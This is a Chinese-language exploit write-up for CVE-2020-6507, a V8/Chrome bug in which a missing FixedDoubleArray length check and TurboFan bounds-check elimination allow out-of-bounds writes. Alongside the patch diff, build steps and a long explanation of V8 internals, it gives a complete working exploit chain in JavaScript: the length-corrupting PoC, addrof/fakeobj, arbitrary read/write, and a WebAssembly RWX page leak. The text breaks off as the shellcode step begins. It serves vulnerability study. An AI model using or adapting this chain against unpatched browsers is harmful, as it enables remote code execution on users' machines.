CVE-2020-6507

CVE启动

某个版本Chrome的漏洞可以在谷歌的更新公告上查看

更新公告上可以找到bug的漏洞编号,issue上可以找到相关信息

成因分析

bug编号1086890,然后到issues找

commit怎么藏评论区里

找一下它的父提交

diff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
diff --git a/src/builtins/base.tq b/src/builtins/base.tq
index ec10601..4db796d 100644
--- a/src/builtins/base.tq
+++ b/src/builtins/base.tq
@@ -354,6 +354,8 @@
constexpr uintptr generates 'String::kMaxLength';
const kFixedArrayMaxLength:
constexpr int31 generates 'FixedArray::kMaxLength';
+const kFixedDoubleArrayMaxLength:
+ constexpr int31 generates 'FixedDoubleArray::kMaxLength';
const kObjectAlignmentMask: constexpr intptr
generates 'kObjectAlignmentMask';
const kMinAddedElementsCapacity:
diff --git a/src/codegen/code-stub-assembler.cc b/src/codegen/code-stub-assembler.cc
index 369a187..eb5fa76 100644
--- a/src/codegen/code-stub-assembler.cc
+++ b/src/codegen/code-stub-assembler.cc
@@ -205,7 +205,7 @@
SmiConstant(false_value));
}

-TNode<Object> CodeStubAssembler::NoContextConstant() {
+TNode<Smi> CodeStubAssembler::NoContextConstant() {
return SmiConstant(Context::kNoContext);
}

diff --git a/src/codegen/code-stub-assembler.h b/src/codegen/code-stub-assembler.h
index 4f4c1d4..592af14 100644
--- a/src/codegen/code-stub-assembler.h
+++ b/src/codegen/code-stub-assembler.h
@@ -616,7 +616,7 @@
return Word32BinaryNot(TaggedEqual(a, b));
}

- TNode<Object> NoContextConstant();
+ TNode<Smi> NoContextConstant();

#define HEAP_CONSTANT_ACCESSOR(rootIndexName, rootAccessorName, name) \
TNode<std::remove_pointer<std::remove_reference<decltype( \
diff --git a/src/objects/contexts.tq b/src/objects/contexts.tq
index ab0677a..1b0ae08 100644
--- a/src/objects/contexts.tq
+++ b/src/objects/contexts.tq
@@ -74,3 +74,9 @@

extern operator '[]' macro LoadContextElement(Context, intptr): Object;
extern operator '[]' macro LoadContextElement(Context, Smi): Object;
+
+// A dummy used instead of a context constant for runtime calls that don't need
+// a context.
+type NoContext extends Smi;
+extern macro NoContextConstant(): NoContext;
+const kNoContext: NoContext = NoContextConstant();
diff --git a/src/objects/fixed-array.tq b/src/objects/fixed-array.tq
index 519a5f8d..b15f9c5 100644
--- a/src/objects/fixed-array.tq
+++ b/src/objects/fixed-array.tq
@@ -141,8 +141,15 @@
ConstantIterator(kDoubleHole)));
}

+namespace runtime {
+extern runtime FatalProcessOutOfMemoryInvalidArrayLength(NoContext): never;
+}
+
macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {
if (length == 0) return kEmptyFixedArray;
+ if (length > kFixedArrayMaxLength) deferred {
+ runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+ }
return new
FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};
}
@@ -150,6 +157,9 @@
macro NewFixedDoubleArray<Iterator: type>(
length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
if (length == 0) return kEmptyFixedArray;
+ if (length > kFixedDoubleArrayMaxLength) deferred {
+ runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+ }
return new FixedDoubleArray{
map: kFixedDoubleArrayMap,
length: Convert<Smi>(length),
diff --git a/src/torque/constants.h b/src/torque/constants.h
index b3a452b..616e7a2 100644
--- a/src/torque/constants.h
+++ b/src/torque/constants.h
@@ -24,6 +24,7 @@
static const char* const VOID_TYPE_STRING = "void";
static const char* const ARGUMENTS_TYPE_STRING = "Arguments";
static const char* const CONTEXT_TYPE_STRING = "Context";
+static const char* const NO_CONTEXT_TYPE_STRING = "NoContext";
static const char* const NATIVE_CONTEXT_TYPE_STRING = "NativeContext";
static const char* const JS_FUNCTION_TYPE_STRING = "JSFunction";
static const char* const MAP_TYPE_STRING = "Map";
diff --git a/src/torque/declaration-visitor.cc b/src/torque/declaration-visitor.cc
index 6ec1b74..99b7bdd 100644
--- a/src/torque/declaration-visitor.cc
+++ b/src/torque/declaration-visitor.cc
@@ -126,11 +126,12 @@
"Missing parameters for runtime function, at least the context "
"parameter is required.");
}
- if (!(signature.parameter_types.types[0] == TypeOracle::GetContextType())) {
+ if (!(signature.parameter_types.types[0] == TypeOracle::GetContextType() ||
+ signature.parameter_types.types[0] == TypeOracle::GetNoContextType())) {
ReportError(
"first parameter to runtime functions has to be the context and have "
- "type Context, but found type ",
- signature.parameter_types.types[0]);
+ "type Context or NoContext, but found type ",
+ *signature.parameter_types.types[0]);
}
if (!(signature.return_type->IsSubtypeOf(TypeOracle::GetObjectType()) ||
signature.return_type == TypeOracle::GetVoidType() ||
diff --git a/src/torque/type-oracle.h b/src/torque/type-oracle.h
index c47d467c6..c6939ef 100644
--- a/src/torque/type-oracle.h
+++ b/src/torque/type-oracle.h
@@ -304,6 +304,10 @@
return Get().GetBuiltinType(CONTEXT_TYPE_STRING);
}

+ static const Type* GetNoContextType() {
+ return Get().GetBuiltinType(NO_CONTEXT_TYPE_STRING);
+ }
+
static const Type* GetNativeContextType() {
return Get().GetBuiltinType(NATIVE_CONTEXT_TYPE_STRING);
}

CVE-2020-6507成因之一就是NewFixedDoubleArray这个macro未对DoubleArray的Length上限进行检查(属于是把c++更换成Torque后漏了一步检查,不排除有内鬼的可能性),源码里搜一下可以发现kFixedDoubleArrayMaxLength的值为67108862,可见V8中浮点数数组的length上限应该在67108862

vi src/objects/fixed-array.h

在开了Pointer Compression后kTaggedSize = 4、kHeaderSize = 2*kTaggedSize = 8、kDoubleSize = 8

MB = 2²⁰ = 1048576

kMaxSize = 128 * kTaggedSize * MB - kTaggedSize = 536870908

FixedDoubleArray: (536870908 − 8) / 8 = 536870900 / 8 = 67108862.5 → 67108862

然后看看poc是怎么个利用法

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<script>  
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];

function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6; //原文是x \*= 6;
x -= 5;
x = Math.max(x, 0);

let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];

corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];
alert('corrupted array length: ' + corrupted_array.length.toString(16));
corrupted_array[0x123456];
</script>

目的是改array的length

issues上的poc应该是在第15行多打了个\

d8里没有alert(),把第31行改成print或者console.log都行

开头先是创了个giant_array->DoubleArray,array在0x40000(262144)里填满1.1,args 中有 255 个元素,每个都指向同一个 array。然后创建一个长度为 262140、元素全是 2.2 的数组,把它push到args的末尾

1
giant_array = Array.prototype.concat.apply([], args);

相当于把args的元素依次复制进giant_array

这时giant_array的长度为255 * 0x40000 + (0x40000 - 4) = 67108860

最后用splice在giant_array后面加上3个3.3,此时giant_array的长度为67108863

由于创建giant_array调用的是NewFixedDoubleArray() 方法,并没有对giant_array的长度做限制,显然giant_array超出了DoubleArray的67108862上限

1
2
length_as_double =  
new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];

把同一段 8 字节内存,先按BigUint64Array写入一个 64 位无符号整数,再按Float64Array当成Double读出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function trigger(array) {  
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6; //原文是x \*= 6;
x -= 5;
x = Math.max(x, 0);

let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];

corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}

Turbofan在进行编译优化时会考虑到每种数据类型的长度限制,V8是定义了kFixedDoubleArrayMaxLength的值为67108862,但先前创建的giant_array缺失了长度上限限制,达到了67108863。

在trigger函数中,对于常规的浮点数数组x的取值只能是0或1,后续的30000次调用成功触发Turbofan优化,Turbofan判断对于“corrupting_array[x] = length_as_double; ”x的取值不会越界赋值,于是移去了边界检测(简单计算一下发现x的取值实际上为7,如果有边界检测的话就会令corrupting_array扩容,检测移去后length_as_double成功覆盖corrupted_array的legth段)

corrupted_array[0x123456];触发越界访问,这段addr没有映射导致SIGSEGV

能映射到的addr就没问题了

gdb启动

这里有个细节,注意到在开启了Pointer Compression后JS对象的指针被压缩到4字节,以小端序存储的length_as_double覆盖corrupted_array的length字段的同时也破坏了elements,后续的利用会对这部分进行处理

环境构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
git reset --hard 85bc1b0cab31cc064efc65e05adb81fee814261b^  //加^可以reset到它的父提交
gclient sync -D
gn gen out/release --args='
is_debug = false
target_cpu = "x64"
is_component_build = false
v8_monolithic = true
v8_use_external_startup_data = false
use_goma = false
goma_dir = "None"
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true'
autoninja -C out/release d8

这种环境问题就得开个docker了

麻烦的是还得回滚一下clang

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
docker run -it --name v8-83 \
-v ~/v8:/root/v8 \
ubuntu:20.04 bash
apt update
apt install -y python3 python3-pip git curl ninja-build build-essential
apt install -y python-is-python3
apt-get install -y pkg-config apt-utils
cd /root/v8/v8
./buildtools/linux64/gn gen out/release --args='
is_debug = false
target_cpu = "x64"
is_component_build = false
v8_monolithic = true
v8_use_external_startup_data = false
use_goma = false
goma_dir = "None"
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true'
rm -rf third_party/llvm-build
python tools/clang/scripts/update.py
ninja -C out/release d8

1
2
3
4
exit
docker system df
docker system prune -a
sudo chown -R shark:shark ~/v8/v8/out/release

这里记得sudo chown -R改一下out/release权限

漏洞分析

V8基础补充

Fast-properties-in-V8

v8.dev太权威了你知道吗

Named-properties-vs-elements

我们看看命名属性跟数组下标属性(元素)有什么不同

注意到object {a: “foo”,b: “bar”}有两个属性,a和b

object {a: “foo”,b: “bar”}这种命名属性没有0,1,2这样的整数索引

[“foo”, “bar”]这种就是分配的整数索引

出于性能考虑,V8将properties跟elements针对不同的使用模式分开储存

elements主要用于各种Array.prototype 的方法(pop,slice),这些方法访问的是连续区间的属性,大部分情况下以简单数组的形式存储(稀疏字典)

named properties以一种类似的形式存储在一个独立数组中,V8中的设计是将每一个JSobj都关联一个HiddenClass来推出一个命名在该属性数组的位置,HiddenClass存储的是JSobj的shape,包括从属性名到属性数组下标的映射表,一些更复杂的情况是用字典来存储属性

HiddenClasses and DescriptorArrays

接下来看看HiddenClasses的工作原理

HiddenClasses存储了obj上属性的数量和obj原型的引用等元数据

HiddenClasses类似面向对象编程中的class

像JS这样基于原型的语言是没办法在程序运行前就确定对象的结构,V8中的HiddenClass是动态创建并随对象动态更新的

HiddenClass充当对象shape的标识符,V8只需要判断两个类的HiddenClass指针相不相同就能判断它们是不是同一个形状

假设 const obj1 = {x: 1, y: 2};的shape为A,const obj2 = {x: 5, y: 6};时V8会发现它们的shape一样,于是让obj2的HiddenClass也指向shapeA。编译优化跟内联缓存也会用到HiddenClass

这里的bit field是把一堆小整数和布尔标志位打包进比特位——实例类型、实例大小、是否可调用、元素种类等,不值得各占一个字段

HiddenClass class这个字段表明HiddenClass也是堆对象,也有一个指向它的类的指针,在V8堆上任何由GC管理的对象第一个字段都指向HiddenClass

属性中最重要的信息存储在bit field 3,包括属性数量跟一个指向Descriptor Array的指针,Descriptor Array中包括描述符数组,length是数组容量,EnumCaches是枚举缓存,key1是属性名查找 obj.x 时就是拿 “x” 来比对,details是属性的特性

具有相同结构的对象共享一个HiddenClass,当向对象添加一个属性时,我们会使用一个不同的 HiddenClass

每添加一个新属性,obj的HiddenClass都会被更换

V8会在后台创建一个转化树把HiddenClass连一块

当创建新对象并添加了不同的属性时,V8会为这些新的HiddenClass创建一条单独的分支

The three different kinds of named properties

我们再深入了解一下这些属性是如何存储的,前面提到属性有两种类型,named、indexed,接下来先看看命名属性

像{a: 1, b: 2}这样简单的对象在V8里可以有多种不同的表示,不过出于优化考虑(inline caches)很少会用字典形式

In-object vs. normal properties

V8支持对象内属性,它们直接存储在对象自身上,因为访问不需要二次解引用所以速度很快

对象内属性数量由对象初始大小决定,如果超过了对象内的空间就会被存储到属性存储区

Fast vs. slow properties

我们通常把存储在线性属性存储区的属性定义为快速属性,快速属性通过存储区的index访问

从属性名找到在属性存储区的addr必须查询HiddenClass上的描述符数组

当一个对象频繁add、delete大量属性时,维护HiddenClass和描述符数组会产生大量开销,V8支持slow properties,慢属性的对象用一个自包含的属性字典存储属性,元信息直接存储在属性字典里

这种设计让inline caches无效,因此速度上会慢一些

Elements or array-indexed properties

接下来是整数索引属性,其所有索引属性单独存储在元素存储区

V8对元素做出的第一个区分就是在后备存储中元素是紧密还是空洞(packed or holey)

当删除一个元素或根本没定义时就会出现holes,比如[1,,3]

这里有个好玩的

1
2
3
4
5
6
7
8
9
10
11
const o = ['a', 'b', 'c'];
console.log(o[1]); // Prints 'b'.

delete o[1]; // Introduces a hole in the elements store.
console.log(o[1]); // Prints 'undefined'; property 1 does not exist.
o.__proto__ = {1: 'B'}; // Define property 1 on the prototype.

console.log(o[0]); // Prints 'a'.
console.log(o[1]); // Prints 'B'.
console.log(o[2]); // Prints 'c'.
console.log(o[3]); // Prints undefined

这里的o.__proto__是o的原型

o[1] 因为在 o 自身是 hole(不存在),穿透到原型上找到了 ‘B’

可见属性上找不到就会沿着原型链向上查找,如果我们有一个the_hole值来标记hole就能提高array的效率,当我们知道array是packed or holey时就能避免开销巨大的原型链查找

Fast or Dictionary Elements

接下来是elements的第二层分类

快速模式 or 字典模式

fast elements就是VM的内部数组,index直接映射

对于那些有大量空洞的数组我们采用字典来节省内存

for example

1
2
const sparseArray = [];
sparseArray[9999] = 'foo'; // Creates an array with dictionary elements.

10000个backing store有9999个hole,为了节省内存改用字典

V8会创建一个“键-值-描述符”的三元组,这里的键是“9999”,值是“foo”,用默认描述符

1
2
3
4
5
const array = [];
Object.defineProperty(array, 0, {value: 'fixed' ,configurable: false});
console.log(array[0]); // Prints 'fixed'.
array[0] = 'other value'; // Cannot override index 0.
console.log(array[0]); // Still prints 'fixed'.

这里用 Object.defineProperty 定义了一个“只读、不可配置”的数组索引属性,configurable: false表示不可配置

描述符细节无法存储在HiddenClass上,shape不记存在性,因此在自定义一个索引属性时V8会使用slow elements

只要用非默认描述符定义索引属性,V8 就被迫退到 slow elements

Smi and Double Elements

这里是V8对fast elements的两种区分

Smi = small integer,小整数

在一个array中只存储整数时,V8会直接把值编码在指针里

V8 利用最低位来区分 Smi 和堆对象:

  • 最低位 = 1 → 这是一个 Smi,整数值就编码在这个字里
  • 最低位 = 0 → 这是一个堆对象指针,需要解引用

double占用多个字节,通常表示为完整对象,在纯double array的特殊情况下V8会直接存储double的值

Special Elements

V8内部一共定义了20种元素种类,这里不做额外解释

The ElementsAccessor

为了避免给20种元素种类都实现一遍Array函数

ElementsAccessor 借助 CRTP(奇异递归模板模式)为每个 Array 函数生成特化版本

跟SGI STL挺像啊

Elements kinds in V8

这部分就简要说一下

JS运行时V8会跟踪每个数组用的是哪种类型的元素,以此来针对性优化

JS并不区分整数、浮点数和双精度数,都将其视为number,但在V8优化时会细分

The elements kind lattice

V8 把 elements kind 组织成一个格(lattice),转换只能从具体走向泛化,不能回退

各种数组元素种类按照“具体 → 通用”的关系,组成一个偏序层次结构,转换只能沿着这个结构向下走,即从更具体的种类变成更通用的种类

packed vs holey

packed和holey的主要区别就是元素存不存在,对于holey会有hole check,prototype chain lookup等额外开销

Inline Caches

先看看inline caches到底在cache什么

IC实际上是记住 Shape 和 property offset,它缓存的是查找结果

后续遇到相同 Shape,可以直接从已经缓存的 offset 加载值,而无需重新查询属性信息

我们来看看查找的过程

1
2
3
function getX(o) {
return o.x;
}
1
2
3
4
getX({
x: 123,
y: 456
});

第一次查找时得正常查找一次

o ->Map ->找到 x ->发现 x 在 offset N

这时候得到

Map = 0x123456

x offset = 0x18

IC记住如果以后o.map == 0x123456,那么x 就在 offset 0x18

1
2
3
4
5
let a = {x: 1, y: 2};
let b = {x: 3, y: 4};

getX(a);
getX(b);

我们发现a.map == b.map

getX(a)时

Map lookup ->property lookup ->找到 x offset ->更新 IC

getX(b)时发现b.map == a.map,直接Load [object + offset]

利用思路

先回忆一下低版本V8利用链思路,参考starctf 2019 oob

starctf oob先是给了一个能读写map的利用原语

首先构造froi()跟itof()函数转化在JS里的数据表示

用它对obj array和double array进行类型混淆后进而构造addrof/fakeobj

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var obj = {"A": 1};
var obj_arr = [obj];
var float_arr = [1.1,1.2,1.3,1.4];

var obj_arr_map = obj_arr.oob();
var float_arr_map = float_arr.oob();

function addrof(in_obj){
obj_arr[0] = in_obj;
obj_arr.oob(float_arr_map);
let addr = obj_arr[0];
obj_arr.oob(obj_arr_map);
return ftoi(addr);
}
function fakeobj(addr){
float_arr[0] = itof(addr);
float_arr.oob(obj_arr_map);
let fake = float_arr[0];
float_arr.oob(float_arr_map);
return fake;
}

addrof()把obj数组的map改成浮点数的map,fakeobj()相反

1
2
3
4
5
6
7
8
9
10
11
12
13
var arb_rw_arr = [float_arr_map,1.2,1.3,1.4]; 
//这里的float_arr_map是double值
function arb_read(addr){
if (addr%2n == 0) addr += 1n;
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
return ftoi(fake[0]);
}
function initial_arb_write(addr,val){
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
fake[0] = itof(BigInt(val));
}

然后伪造一个 JSArray,然后不断修改这个假数组的 elements 指针,让 fake[0] 实际去读/写任意地址(那里没有指针压缩,这里开了指针压缩得调整一下,几个偏移也有版本差异)

最后用wasm塞个函数、申请一个rwx页,把shellcode copy进去,调用main()执行

饿啊

然后我们来看看%DebugPrint(corrupted_array);时的小问题

高 4 字节 0x24242424 → 被当成 Smi → length = 0x24242424 >> 1 = 0x12121212

低 4 字节 0x00000000 → elements = 压缩后的偏移 0,也就是 elements = cage_base + 0(空指针)

elements 字段本质上就是 JS 对象用来存放“索引属性”的 backing store(后备存储)指针,解引用成cage_base+0

现在的问题是这里有个坏掉的elements,我们回顾一下trigger函数看看有没有什么篡改map的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
length_as_double =  
new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];

function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6; //原文是x \*= 6;
x -= 5;
x = Math.max(x, 0);

let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];

corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}

取超上限的double_array的length,进行TurboFan欺诈运算后定义了两个array,corrupting_array跟corrupted_array,x的实际值是7(JS对象在指针压缩下有16个字节,double_array的数据正常存储在该对象前面,corrupting_array占82+16=48,加上3*8正好到corrupted_array的elements、length字段)

corrupting_array[x] = length_as_double;这一步将8个字节覆写到corrupted_array的length跟elements段

我们创一个double_array然后%DebugPrint一看可以发现elements存储的数据位于JS对象前面

那么elements这边的cage_base + 0指针便可稍加利用来定位obj_array、double_array的map

不彻底优化poc

elements替换

我们这里在开头var一个double_array,如果这个double_array的elements低32位不变就可以把corrupted_array的elements替换成它的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
❯ cat poc.js
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}


array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];

function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);

let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];

corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}

/*
corrupted_array = trigger(giant_array)[1];
print('corrupted array length: ' + corrupted_array.length.toString(16));
*/
corrupted_array = trigger(giant_array)[1];
%DebugPrint(double_array);
var ac = corrupted_array[0];
console.log("coruppted_array[0]:" + ftoi(ac).toString(16));
%SystemBreak();

有意思的是这里测下来只要poc.js有一点改动这里的elements段低32位就会改变,甚至我改了一下BigUint64Array([0x2424242400000001n]的低32位也会影响到

可以把exp.js写好最后再动它

比较意外的扫描

找blog看到了y4y师傅的这个方法,大致上是对Hcamael师傅提出的扫map这一想法的衍生

通过实测可以发现在一台固定的物理机或虚拟机中开头创的double_array它的map跟properties的低32位是固定值(因为我这里的map值跟他们不一样,可见硬编码的还是个环境变量,神奇的是properties的低32位都是0x080406e9)

那么就可以通过扫内存的方式把map扫出来然后动态拿到elements指针(elements的length够大,而且%DP出有一个大致区间)

主体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function parseMap(obj_idx, map_offset){
var metadata = [];
for (var i = -1; i < 2; i++){ // 读目标对象前后 3 个槽
p1 = ftoi(c[obj_idx+i]) & 0xffffffffn; // 低半字
p2 = ftoi(c[obj_idx+i]) >> 32n; // 高半字
metadata.push(p1); metadata.push(p2);
}
var map_idx = metadata.indexOf(BigInt(map_offset)); // 以 map 值为锚点对齐
return metadata.slice(map_idx, map_idx + 4); // map, props, elements, length
}

var fake_mp = itof((BigInt(double_prop_addr) << 32n) + BigInt(double_map_addr))
var fake_array = [fake_mp, 1.1, 2.2];
var fake_array_addr = addrOf(fake_array) & 0xffffffffn;
var fake_array_index = Number((addrOf(fake_array) - 1n) / 8n);
var fake_array_metadata = parseMap(fake_array_index, double_map_addr);
var fake_array_elem = fake_array_metadata[2]; // 从内存里读出 elements 字段
var fake_obj = fakeObj(fake_array_elem + 8n - 1n);

这两个方法的硬编码值换个环境大概率会失效

poc分析优化

我们来对trigger函数做点改动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
length_as_double =
new Floaat64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0];

function trigger(array,oob) {
var x = array.length;
x -= 67108861; //实际值为2,TurboFan视角下可能值为0、1
x = Math.max(x, 0);
x *= 10; //20
x -= 9; //11
x = Math.max(x, 0);
oob[x] = length_as _double;
}
//对象布局
function setup(){
vul = [1.1,1.1];
pad = [vul];
double_array = [1.1];
obj = {"a":1.1};
obj_array = [obj];
}

我们看看setup()长什么样

offset = 11,fake length的低32位正好覆盖到double_array的length

double_array_map跟obj_array_map

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
❯ cat poc.js
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
function hex(v) { return v.toString(16); }
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0];

function trigger(array, oob) {
var x = array.length;
x -= 67108861; // 1 2
x *= 10; // 10 20
x -= 9; // 1 11
x= Math.max(x,0);
oob[x] = length_as_double; // fake length
}

function setup(){
vul = [1.1,1.1];
pad = [vul];
double_array = [1.1];
obj = {"a":1.1};
obj_array = [obj];
}

for (let i = 0; i < 30000; ++i) {
setup();
trigger(giant_array, vul);
}
%DebugPrint(double_array);
%DebugPrint(obj_array);
//%SystemBreak();
var array_map = double_array[1];
var obj_map = double_array[8];
console.log("[*] array_map = 0x" + hex(ftoi(array_map)));
console.log("[*] obj_map = 0x" + hex(ftoi(obj_map)));
%SystemBreak();

成功leak

覆盖了obj = {“a”:1.1};的map,不过不影响

这里有个神奇的地方

我多读了一块地方就去优化了,怎么还有点不稳定

1
2
3
4
5
6
7
41 function TurboFan(){
42 for (let i = 0; i < 30000; ++i) {
43 setup();
44 trigger(giant_array, vul);
45 }
46 }
47 TurboFan();

但是把整个欺诈过程塞一个函数里调用又成功了,看来是TurboFan的奇妙设计

感觉还是这个利用方向比较有实用价值

利用链构造

ftoi()/itof()

1
2
3
4
5
6
7
8
9
10
11
12
13
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
function hex(v) { return v.toString(16); }
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}

这不比之前手动拼好用

addrof()/fakeobj()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
array = Array(0x40000).fill(1.1);  
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0];

function trigger(array, oob) {
var x = array.length;
x -= 67108861; // 1 2
x *= 10; // 10 20
x -= 9; // 1 11
x= Math.max(x,0);
oob[x] = length_as_double; // fake length
}

function setup(){
vul = [1.1,1.1];
pad = [vul];
double_array = [1.1];
obj = {"a":1.1};
obj_array = [obj];
fake = [1.1]; //载一下fakeobj
}

function TurboFan(){
for (let i = 0; i < 30000; ++i) {
setup();
trigger(giant_array, vul);
}
}
TurboFan();
obj_array[0] = giant_array; // 为了防止GC扫到爆炸,把坏掉的obj清了
obj = null;

var array_map = double_array[1];
var obj_map = double_array[8];
console.log("[*] array_map = 0x" + hex(ftoi(array_map)));
console.log("[*] obj_map = 0x" + hex(ftoi(obj_map)));

var fakemap = 12;
function addrof(obj) {
obj_array[0] = obj;
double_array[8] = array_map;
var addr = (ftoi(obj_array[0]) & 0xffffffffn) - 1n;//低32位压缩指针,tag-1
double_array[8] = obj_map;
return addr;
}
function fakeobj(addr) {
fake[0] = itof(addr + 1n);
double_array[fakemap] = obj_map;
var obj = fake[0];
double_array[fakemap] = array_map;
return obj;
}

arb_read()/arb_write()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var rw_arr = [array_map,1.1,1.2,1.3];

function fake_elements(addr){
let elements = ((addr - 8n + 1n) & 0xffffffffn) | 0x3ff19999n << 32n;
rw_arr[1] = itof(elements);
}

function arb_read(addr){
let fake_rw = fakeobj(addrof(rw_arr) - 0x20n);
fake_elements(addr)
return ftoi(fake_rw[0]);
}
function arb_write(addr,val){
let fake_rw = fakeobj(addrof(rw_arr) - 0x20n);
fake_elements(addr)
fake_rw[0] = itof(val);
}

array_map的低32位是double_map,高32位是properties(这里不影响)

rw_arr[1]正好是fake_rw的elements、length段

fake_rw[0]读的地址是 elements(去tag) + 8 (tag+1)

(addr - 8n +1n) & 0xffffffffn取低32位(elements段),| 0x3ff19999n << 32n拼接上高32位(length段)

wasm

复用一下之前写starctf的

1
2
3
4
5
6
7
8
9
10
11
var wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3,
130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131,
128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128,
128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0,
10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11
]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var pwn = wasm_instance.exports.main;
var rwx_page_addr = arb_read(addrof(wasm_instance)+0x68n);

依旧main()函数return 42,编译mod,实例化,导出main函数,read rwx_page_addr

offset = 0x68

shellcode and copy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
